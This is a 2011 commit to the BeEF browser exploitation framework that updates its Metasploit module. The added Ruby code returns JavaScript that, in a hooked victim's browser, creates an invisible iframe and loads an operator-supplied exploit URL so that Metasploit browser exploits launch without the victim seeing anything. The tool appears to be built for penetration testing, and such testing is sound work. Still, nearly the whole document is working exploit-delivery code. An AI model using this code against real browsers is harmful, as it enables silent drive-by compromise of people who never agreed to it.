update of msf module to make it launch exploits

git-svn-id: https://beef.googlecode.com/svn/trunk@1359 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
sussurro@happypacket.net
2011-10-10 01:52:55 +00:00
parent ab1ec19a5c
commit 17d8553b9f
3 changed files with 46 additions and 0 deletions

View File

@@ -16,5 +16,25 @@
# This is a dummy module to fool BeEF's loading system
class Msf_module < BeEF::Core::Command
def output
command = BeEF::Core::Models::Command.first(:id => @command_id)
data = JSON.parse(command['data'])
sploit_url = data[0]['sploit_url']
return "
beef.execute(function() {
var result;
try {
var sploit = beef.dom.createInvisibleIframe();
sploit.src = '#{sploit_url}';
} catch(e) {
for(var n in e)
result+= n + ' ' + e[n] ;
}
});"
end
end